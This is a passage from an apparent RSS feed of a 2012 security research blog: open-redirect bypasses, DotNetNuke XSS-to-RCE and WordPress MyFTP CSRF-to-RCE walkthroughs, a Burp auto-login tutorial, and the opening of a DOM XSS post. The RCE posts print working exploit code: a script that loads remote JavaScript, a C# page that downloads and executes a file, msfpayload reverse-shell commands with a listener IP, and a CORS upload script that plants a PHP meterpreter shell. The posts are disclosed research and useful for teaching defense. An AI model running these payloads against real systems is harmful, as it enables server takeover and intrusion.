</pre></p>
<p>Because you can prepend spaces, one way to bypass this is to send the following:</p>
<blockquote><p>redir=%20%20//google.com</p></blockquote>
<p><strong>Broken Example 3 &#8211; No Slashes at all</strong></p>
<p>Ok, what if there are no slashes are allowed at all? You can&#8217;t very well have <a href="http://blah.com">http://blah.com</a> without a slash, after all, so this intuitively might make sense. The code for this might look something like:</p>
<p><pre class="brush: php;">
$redir = $_GET['redir'];
#if no / in the string
if (strpos($redir, &quot;/&quot;) === false)
  header(&quot;Location: &quot; . $redir);
</pre></p>
<p>However, using the quirks above, this can be bypassed by using redir=https:google.com in FF and chrome, and it can be bypassed in IE with redir=\google.com</p>
<p><strong>Broken Example 4 &#8211; Built in Libraries:</strong></p>
<p>Surely there are libraries that solve this problem. Well, maybe there are, but there are certainly libraries people use to <em>try</em> to solve this problem, but they don&#8217;t do it as people expect (e.g. a library might call a URI relative when a browser treats it as absolute). Making a library that works well is a fundamentally tough problem because all these browsers have quirks and the library has to match all browsers. So is a library supposed to call <a href="https://google.com">https:google.com</a> a relative or a full uri? (it&#8217;s relative in IE but full in chrome and FF)</p>
<p>Here&#8217;s one C# example where someone might try to figure out if a URI is relative URI using the IsAbsoluteUri property in .net system.Uri.</p>
<p><pre class="brush: cpp;">
        static void Main(string[] args)
        {

            String[] uriArray = new String[] {
                &quot;//google.com/test.html&quot;,                 //relative
                &quot;\\google.com\test.html&quot;,              //relative
                &quot;/////////google.com/test.html&quot;,          //relative
                &quot;https:google.com&quot;,                       //relative
                &quot;http://google.com&quot;,                      //absolute
                &quot;http:///////////////////google.com&quot;,     //absolute
                &quot;           http://google.com&quot;            //absolute
            };

            foreach (String uriString in uriArray)
            {
                try
                {
                    Uri uri = new Uri(uriString, UriKind.Relative); //works
                    if (!uri.IsAbsoluteUri)
                    {
                        Console.WriteLine(&quot;is a relative URI: {0}&quot;, uriString);
                    }
                }
                catch (UriFormatException e)
                {
                    Console.WriteLine(&quot;not a relative URI: {0}&quot;, uriString);
                }
            }
        }
</pre></p>
<p><strong>Broken Example 5 &#8211; startswith Whitelisted Domain</strong></p>
<p>This is a classic example. Even though it doesn&#8217;t have much do do with parsing quirks, it can be subtle and illustrates an important point.  So say an application does the following to make sure the redirect is on the correct domain.</p>
<p><pre class="brush: cpp;">
String redir = Request[&quot;redir&quot;];
if (redir.StartsWith(&quot;http://goodsite.com&quot;))
{
	Response.Redirect(redir);
}
</pre></p>
<p>Can an attacker still exploit this? The answer is yes, by setting redir=http://goodsite.com.badsite.com/</p>
<h3>What&#8217;s the Right Way to do on-domain Redirects?</h3>
<p>So open redirects are in the owasp top ten, and they have some guidance here: <a href="https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards">https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards</a>. However, to summarize, it basically says to whitelist and don&#8217;t redirect. I do agree, but again, what if you want to do on-domain redirects? The best I can think of is to do something like this:</p>
<blockquote><p>startswith(http://goodsite.com/ || <a href="https://google.com/">https://goodsite.com/</a>)</p></blockquote>
<p>Note the trailing slash, which prevents broken example #5.  I don&#8217;t think it&#8217;s possible to redirect off-site with this type of code&#8230; but if someone knows otherwise, I&#8217;d definitely be interested in how to do it :)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/979/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/979/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/979/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=979&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/03/16/some-interesting-uri-parsing-quirks-and-open-redirects/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Server Shells from Web Clientside Attacks</title>
		<link>http://webstersprodigy.net/2012/03/02/shells-from-clientside-attacks/</link>
		<comments>http://webstersprodigy.net/2012/03/02/shells-from-clientside-attacks/#comments</comments>
		<pubDate>Fri, 02 Mar 2012 21:20:24 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[cors]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[dotnetnuke]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[shells]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=963</guid>
		<description><![CDATA[One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=963&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are just so many people that use Google and Facebook.</p>
<p>This post is kind of the opposite of that.*</p>
<p>Remember all those bug bounties and bulletins that security researchers have got for targeting a custom support internal web application and using that to compromise everything? Oh yeah, most companies probably don’t want to encourage that sort of delinquent behavior. And although these types of attacks are not “broad impact”, the criticality of these bugs can be freaking scary.</p>
<h2 id="dotnetnuke">DotNetNuke XSS to RCE</h2>
<p>One example of this can be shown by using <a href="http://technet.microsoft.com/en-us/security/msvr/msvr12-003">one</a> of the <a href="http://technet.microsoft.com/en-us/security/msvr/msvr12-002">bugs</a> I found with DotNetNuke.</p>
<p>This was kind of interesting. It turns out on a default install anyone can send “messages” which are kind of like a DotNetNuke version of email. You can get script into these messages, and with script running in an administrator account you get RCE. Pretty much every piece of this is straightforward.</p>
<ul>
<li>The XSS is trigerred with HTML editable pages via &lt;img src=&#8221;http://asdfasdf/blah&#8221; alt=&#8221;" /&gt;</li>
<li>The host user has a lot of power, and can do things like upload arbitrary aspx pages and execute them (as shown in the demo) or execute arbitrary SQL</li>
</ul>
<span style="text-align:center; display: block;"><a href="http://webstersprodigy.net/2012/03/02/shells-from-clientside-attacks/"><img src="http://img.youtube.com/vi/sZOnrad8tf4/2.jpg" alt="" /></a></span>
<p>Here are the repro steps for dotnetnuke 6.00.01, which was the current version when I found this:</p>
<ul>
<li>Create metasploit connectback</li>
<li>Create metasploit listener</li>
<li>Start shell of the future… or do several requests and scrape VIEWSTATE which is the csrf mitigation. We can’t simply steal the session cookie since it’s set to httponly.</li>
<li>Get XSS in the host account. The basic XSS is simply an img onerror. The payload for shell of the future looks like this, but before sending it needs to be HTML encoded:</li>
</ul>
<p><pre class="brush: plain;"> 
javascript:eval(&quot;s=document.createElement('script');
s.src='http://192.168.154.137:8000/e1.js';
document.getElementsByTagName('head')[0].appendChild(s)&quot;) 
</pre></p>
<ul>
<li>With the XSS shell or dynamically with Javascript if you have time, enable aspx uploads. Note that at this point SQL injection is also possible.</li>
<li>Create an RCE C# script to execute meterpreter and upload to the server.</li>
</ul>
<p><pre class="brush: cpp;">

&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
 protected override void OnLoad(EventArgs e)
 {
 System.Net.WebClient client = new System.Net.WebClient();
 client.DownloadFile(@&quot;http://webstersprodigy.net/manuploads/test92.txt&quot;, @&quot;C:\windows\TEMP\test92.txt&quot;);
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.FileName = @&quot;C:\windows\TEMP\test92.txt&quot;;
 p.Start();
Response.Write(&quot;Success&quot;);
 }
// ]]&gt;&lt;/script&gt;

</pre></p>
<ul>
<li>Finally, force browse to the page for a shell.</li>
</ul>
<p>They fixed this with the bulletins below, although not sure I agree with the low/moderate rating since it’s pretty much a guaranteed shell as long as admins read their dotnetnuke messages.</p>
<p><a href="http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx">http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx</a></p>
<p><a href="http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx">http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx</a></p>
<h2 id="myftp">WordPress MyFTP plugin CSRF to RCE</h2>
<p>Have you ever used a piece of software, and you just <em>know</em> it’s hackable? That’s how I’ve been using MyFTP on this very site for a while. It’s an incredibly useful tool. It looks like it&#8217;s not super popular, but apparently the most recent version has had over 28,000 downloads at the time of this writing.</p>
<p><img src="http://webstersprodigy.files.wordpress.com/2012/02/image.png?w=630" alt="" /></p>
<p>So I finally decided to look at this. It turns out everything is vulnerable to CSRF. There are several nasty exploits here. One of the easiest is being able to delete any file with the right permissions. Another easy one is being able to edit any file with the right permissions. One that&#8217;s a bit less straightforward is the file upload feature.</p>
<span style="text-align:center; display: block;"><a href="http://webstersprodigy.net/2012/03/02/shells-from-clientside-attacks/"><img src="http://img.youtube.com/vi/arXB_je8v1A/2.jpg" alt="" /></a></span>
<p>In this demo attack, I opted to try the file upload route using this technique I&#8217;ve been wanting to try for a while now: <a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html">http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html</a>. The idea is that you use CORs to send the cross domain request, and you have more control over things like headers and multi part data. There&#8217;s the origin header sent, but who cares because the application ignores it.</p>
<p>Here are the repro steps:</p>
<p><strong>1. Create Stage 1</strong></p>
<p>It&#8217;s super cool that metasploit has a php meterpreter payload now. The raw php looks something like this:</p>
<blockquote><p>./msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R &gt; bad.php</p></blockquote>
<p>But since I&#8217;m uploading this using Javascript in step 2, I want a more JS-friendly format.</p>
<blockquote><p>./msfpayload php/meterpreter/reverse_tcp LHOST=71.197.218.6  LPORT=443 -t pl | tr &#8220;.&#8221; &#8220;+&#8221; &gt; js_php</p></blockquote>
<p><strong>2. Stage 2 Listener</strong></p>
<p><pre class="brush: plain;">use exploit/multi/handlerset PAYLOAD php/meterpreter/reverse_tcpset LHOST x.x.x.xexploit</pre></p>
<p><strong>3. Create a malicious page that uploads the PHP file using the CSRF bug</strong></p>
<p>Using the CORs techniques mentioned above, the CSRF script will look similar to the following:</p>
<p><pre class="brush: plain;">&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
function fileUpload(url, fileData, fileName) {
 var fileSize = fileData.length,
 boundary = &quot;xxxxxxxxx&quot;,
 xhr = new XMLHttpRequest();
 xhr.withCredentials = &quot;true&quot;;

 xhr.open(&quot;POST&quot;, url, true);
 // simulate a file MIME POST request.
 xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;multipart/form-data, boundary=&quot;+boundary);
 xhr.setRequestHeader(&quot;Content-Length&quot;, fileSize);

 var body = &quot;--&quot; + boundary + &quot;rn&quot;;
 body += 'Content-Disposition: form-data; name=&quot;desiredLocation&quot;' + 'rnrn';
 body += '/var/www/public_htmlrn';
 body += &quot;--&quot; + boundary + &quot;rn&quot;;
 body += 'Content-Disposition: form-data; name=&quot;upfile&quot;; filename=&quot;' + fileName + '&quot;rn';
 body += 'Content-Type: text/plainrnrn';
 body += fileData + &quot;rn&quot;;
 body += &quot;--&quot; + boundary + &quot;rn&quot;;
 body += 'Content-Disposition: form-data; name=&quot;upload&quot;rnrn';
 body += 'Upload To Current Pathrn';
 body += &quot;--&quot; + boundary + &quot;--&quot;;

 xhr.send(body);
 return true;
}

//encoded stage 1 payload in JS friendly form... from step 0
var data =
&quot;x3cx3fx70x68x70x0ax0ax65x72x72x6fx72x5f&quot; +
&quot;x72x65x70x6fx72x74x69x6ex67x28x30x29x3bx0a&quot; +
...

fileUpload('http://webstersprodigy.net/wp-admin/options-general.php?page=MyFtp&amp;dir=/var/www/public_html/', data, 'bwahaha.php');
// ]]&gt;&lt;/script&gt;</pre></p>
<p><strong>4. Profit</strong></p>
<p>Now that the page is uploaded, visit it, and get a shell.</p>
<p>I reported this bug to wordpress, who has a great security team full of smart responsive people, and this was their response. This seems like the right course of action to me:</p>
<blockquote><p>&#8220;The security team reviewed the report and based on the nature of the vulnerability, the current state of the plugin (unmaintained, not updated), and the inability to contact the author, they have decided the best course of action is to just remove it from the plugin directory. This also means that it will not be returned in any API results, etc making it impossible to install from the built-in plugin installer in the WordPress dashboard.&#8221;</p></blockquote>
<p>It would be cool to notify the people who have the plugin installed, but I have no idea if WordPress would even have that kind of information.</p>
<h2>Conclusions</h2>
<p>So lets look at the nature of these types of attacks. When you have a powerful account/application, clientside attacks may be tougher to exploit realistically (it&#8217;s tougher to get a specific admin to visit your evil website than just somebody random who happens to be logged into Facebook) but there can also be a bigger payoff.</p>
<p>As consumers, if you use a powerful feature then I think it’s smart to run these types of things in their own incognito session or environment so clientside attacks like these are harder to pull off. As security people trying to make the web a safer place, I think this is a bit of a blind spot. We spend a lot of time and money making our car bullet proof and then <a href="http://www.washingtonpost.com/world/the_americas/armored-suv-could-not-protect-us-agents-in-mexico/2012/02/13/gIQACv1KFR_story.html">leave the doors unlocked</a>.</p>
<p>*Not to diminish the “broad impact” bugs. Those are awesome too.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/963/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/963/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/963/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=963&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/03/02/shells-from-clientside-attacks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/image.png" medium="image" />
	</item>
		<item>
		<title>Auto login to LiveID with Burp Macros/Session</title>
		<link>http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/</link>
		<comments>http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 22:19:44 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[auth]]></category>
		<category><![CDATA[burp]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=858</guid>
		<description><![CDATA[A common problem when doing a web app assessment is being logged out. This sort of thing sucks. It can happen for a variety of reasons. For example, I&#8217;ve run across sites that have short timeouts, and I&#8217;ve run across sites that log you out whenever a WAF fires. In scenarios like these, it&#8217;s handy [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=858&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A common problem when doing a web app assessment is being logged out. This sort of thing sucks. It can happen for a variety of reasons. For example, I&#8217;ve run across sites that have short timeouts, and I&#8217;ve run across sites that log you out whenever a WAF fires. In scenarios like these, it&#8217;s handy to automate the process of logging back in.</p>
<p>This post is about how to do that using Burp macros and session handling against <a href="http://live.com">Live ID</a>. The same technique could be used against almost any website with a login (gmail, facebook, yahoo, etc.) so this really isn&#8217;t a problem with Live at all. In 2010 <a title="Toorcon 2010 Talk" href="http://webstersprodigy.net/2010/10/toorcon-2010-talk/">I wrote a burp plugin</a> that automated this same situation, but luckily since then Burp has improved and the plugin is no longer necessary.</p>
<p><strong>To clarify what I&#8217;m trying to do</strong></p>
<p>For the sake of clarity, say I want to be logged in to *.live.com, no matter what.  For example, an unauthenticated request to mail.live.com might look something like this.</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req1/" rel="attachment wp-att-859"><img class="alignnone size-medium wp-image-859" title="req1" src="http://webstersprodigy.files.wordpress.com/2012/02/req1.png?w=500&h=312" alt="" width="500" height="312" /></a></p>
<p>and notice burp&#8217;s cookie jar is also empty</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req2/" rel="attachment wp-att-860"><img class="alignnone size-medium wp-image-860" title="req2" src="http://webstersprodigy.files.wordpress.com/2012/02/req2.png?w=500&h=223" alt="" width="500" height="223" /></a></p>
<p>But it doesn&#8217;t matter. The request goes through anyway, exactly as if I were logged in in the first place.</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req3/" rel="attachment wp-att-861"><img class="alignnone size-medium wp-image-861" title="req3" src="http://webstersprodigy.files.wordpress.com/2012/02/req3.png?w=500&h=400" alt="" width="500" height="400" /></a></p>
<p>The same thing should happen if I&#8217;ve logged out, been logged out, my session expired, etc. The same thing should happen whether I&#8217;m in repeater, scanner, intruder, etc. I just want to always be logged in.</p>
<p><strong>First, the easy way</strong></p>
<p>If you load this burp config file it will have everything pretty much setup to auto login to live. All you should need to do is to add your creds to the &#8216;mail.live.com login&#8217; macro in request 3 where it says YOURUSER and YOURPASSWORD.</p>
<p><a href="https://skydrive.live.com/redir.aspx?cid=19794fac33285fd5&amp;resid=19794FAC33285FD5!107&amp;parid=19794FAC33285FD5!110">auto_login.burp</a></p>
<p>The following steps are starting from scratch, but might be useful if you&#8217;re trying the same thing elsewhere.</p>
<p><strong>1. Create a macro that logs in to LiveID</strong></p>
<p>This setting is under Options-&gt;Sessions-&gt;macros.  Here you want to create a rule that re-logs in. I used four requests to simulate a login to hotmail, though it could be various live.com sites. The requests looked something like this:</p>
<p>Request 1:</p>
<p><pre class="brush: plain;">

GET / HTTP/1.1
HOST: hotmail.com
</pre></p>
<p>Request 2:</p>
<p>Grab all the parameters from the request 1 redirect</p>
<p><pre class="brush: plain;">

GET /login.srf?wa=wsignin1.0&amp;rpsnv=11&amp;ct=1328218303&amp;rver=6.1.6206.0&amp;wp=MBI&amp;wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&amp;lc=1033&amp;id=64855&amp;mkt=en-us&amp;cbcxt=mai&amp;snsc=1 HTTP/1.1
Host: login.live.com
</pre></p>
<p>Request 3 &#8211; you&#8217;ll notice a csrf value in the page retrieved from Request 2 (PPFT). Grab that and put it in the request.</p>
<p><pre class="brush: plain;">

POST /ppsecure/post.srf?wa=wsignin1.0&amp;rpsnv=11&amp;ct=1328218303&amp;rver=6.1.6206.0&amp;wp=MBI&amp;wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&amp;lc=1033&amp;id=64855&amp;mkt=en-us&amp;cbcxt=mai&amp;snsc=1&amp;bk=1328218331 HTTP/1.1
Host: login.live.com
Referer: https://login.live.com/login.srf?wa=wsignin1.0&amp;rpsnv=11&amp;ct=1328218303&amp;rver=6.1.6206.0&amp;wp=MBI&amp;wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&amp;lc=1033&amp;id=64855&amp;mkt=en-us&amp;cbcxt=mai&amp;snsc=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464

login=yourlogin%40live.com&amp;passwd=yourpassword&amp;type=11&amp;LoginOptions=3&amp;NewUser=1&amp;MEST=&amp;PPSX=PassportRN&amp;PPFT=CqTbnZVc0cSaatYmid%21*X3vaE0zlJd%21CuSvWW5KR7oo821b05kJ*q*QI86LZ%21KAITFA45s%21j9AS1hbDBJ8l*Dm6WaSaeLkqwQoalApRiYR6JDKnYED4j*mxlN5aS1SOzap5Ny2ATyi041M1nfhrnlMUFQQxem5miQ1B1wSFtsmJyJyuJ1WxnC*1D6AVXpDYoUS7vQ9z6ybDQ3Zt3MsXM*DYw2yCpt0hnsRm2RmosTXhwBLxbtfIZQWCYJJ6Pimw4yg%24%24&amp;idsbho=1&amp;PwdPad=&amp;sso=&amp;i1=1&amp;i2=1&amp;i3=29830&amp;i4=&amp;i12=1&amp;i13=&amp;i14=1092&amp;i15=1506&amp;i16=9462&amp;i17=
</pre></p>
<p>Request 4, actually might not be necessary&#8230; but just follow the redirect again.</p>
<p>One piece here is extracting information from previous requests. To do this, configure the individual requests and create a custom parameter in the response. For example, in request 2, highlight the PPFT value and burp will take care of adding it. It should end up looking something like this:</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req4/" rel="attachment wp-att-867"><img class="alignnone size-medium wp-image-867" title="req4" src="http://webstersprodigy.files.wordpress.com/2012/02/req4.png?w=500&h=394" alt="" width="500" height="394" /></a></p>
<p>Most the parameters can be prefilled in request 3, but the canary takes that extra step.</p>
<p><strong>2. Create Session Rules that Detect if you&#8217;re logged out, and if you are, call the macro from step 1</strong></p>
<p>Like step 1, this is pretty straightforward using burp. Go to the session handling section and create a new rule. In that rule, add a a &#8220;Rule action&#8221;. This action checks if a session is valid or not, and if it&#8217;s not, it runs the macro we just created. In this case, I detect if I&#8217;m logged out if I&#8217;m redirected to login.live.com or if I see &#8220;Windows Live ID requires JavaScript to sign in.&#8221; in the response.</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req6/" rel="attachment wp-att-921"><img class="alignnone size-medium wp-image-921" title="req6" src="http://webstersprodigy.files.wordpress.com/2012/02/req6.png?w=500&h=401" alt="" width="500" height="401" /></a></p>
<p>^^ this is the redirect check</p>
<p>If I am logged out, I tell the session handling action to call the macro we created.</p>
<p>The last thing that&#8217;s necessary here is to define the scope, both in terms of the tools and the sites. For me, I added all tools to the scope other than the proxy, and live.com to the URL scope.</p>
<p><strong>3. Troubleshoot using sessions tracer</strong></p>
<p>One essential debugging tool is to use the session tracer. A good trace should look something like the following:</p>
<p><a href="http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/req7/" rel="attachment wp-att-922"><img class="alignnone size-medium wp-image-922" title="req7" src="http://webstersprodigy.files.wordpress.com/2012/02/req7.png?w=500&h=371" alt="" width="500" height="371" /></a></p>
<p>Go through the requests one by one to make sure everything goes as expected, first the detection that you&#8217;re not logged in, then the various requests necessary to login.</p>
<p>Anyway, it took me a bit to get this working properly, so hopefully this is helpful. Have fun!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/858/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/858/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/858/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=858&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/02/24/auto-login-to-liveid-with-burp-macrossession/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req1.png?w=500" medium="image">
			<media:title type="html">req1</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req2.png?w=500" medium="image">
			<media:title type="html">req2</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req3.png?w=500" medium="image">
			<media:title type="html">req3</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req4.png?w=500" medium="image">
			<media:title type="html">req4</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req6.png?w=500" medium="image">
			<media:title type="html">req6</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req7.png?w=500" medium="image">
			<media:title type="html">req7</media:title>
		</media:content>
	</item>
		<item>
		<title>DOM XSS Behind a WAF</title>
		<link>http://webstersprodigy.net/2012/02/10/dom-xss-behind-a-waf/</link>
		<comments>http://webstersprodigy.net/2012/02/10/dom-xss-behind-a-waf/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 23:43:46 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[dom]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=903</guid>
		<description><![CDATA[Here&#8217;s the scenario, which seems obvious at first but took some time for me to figure out. It may be because I don&#8217;t find that many DOM XSS&#8230; they&#8217;re kinda tough to find. Anyway, say you receive the following response. An exploit doesn&#8217;t get much more straightforward than that. But here&#8217;s the catch: the URL [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=903&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the scenario, which seems obvious at first but took some time for me to figure out. It may be because I don&#8217;t find that many DOM XSS&#8230; they&#8217;re kinda tough to find. Anyway, say you receive the following response.</p>
<p><pre class="brush: plain;">
HTTP/1.1 200 OK
